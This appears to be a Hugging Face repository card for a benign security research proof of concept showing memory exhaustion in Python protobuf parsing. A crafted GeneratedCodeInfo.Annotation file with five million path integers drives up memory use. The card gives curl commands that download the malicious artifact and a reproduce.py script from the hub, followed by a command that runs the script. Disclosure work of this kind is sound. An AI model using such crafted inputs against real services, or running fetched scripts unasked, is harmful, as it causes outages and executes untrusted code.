Protocol Buffers GeneratedCodeInfo.Annotation path materialization DoS PoC
This repository contains a benign security research PoC for a .pb artifact
that drives repeated-scalar materialization during
descriptor_pb2.GeneratedCodeInfo.Annotation.ParseFromString(...).
Files:
control_one_source_file.pbmalicious_path_5000000.pbreproduce.py
Observed behavior:
- control artifact:
- parses successfully with one
source_file
- parses successfully with one
- malicious artifact:
- parses successfully with
5,000,000pathintegers - materially increases peak RSS during normal parse
- parses successfully with
Tested runtime:
python3 -m pip install protobuf==7.35.1
Public reproduction:
curl -L -O https://huggingface.co/hacnho/protobuf-generatedcodeinfo-annotation-path-dos-poc/resolve/main/control_one_source_file.pb
curl -L -O https://huggingface.co/hacnho/protobuf-generatedcodeinfo-annotation-path-dos-poc/resolve/main/malicious_path_5000000.pb
curl -L -O https://huggingface.co/hacnho/protobuf-generatedcodeinfo-annotation-path-dos-poc/resolve/main/reproduce.py
python3 reproduce.py --control control_one_source_file.pb --malicious malicious_path_5000000.pb
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support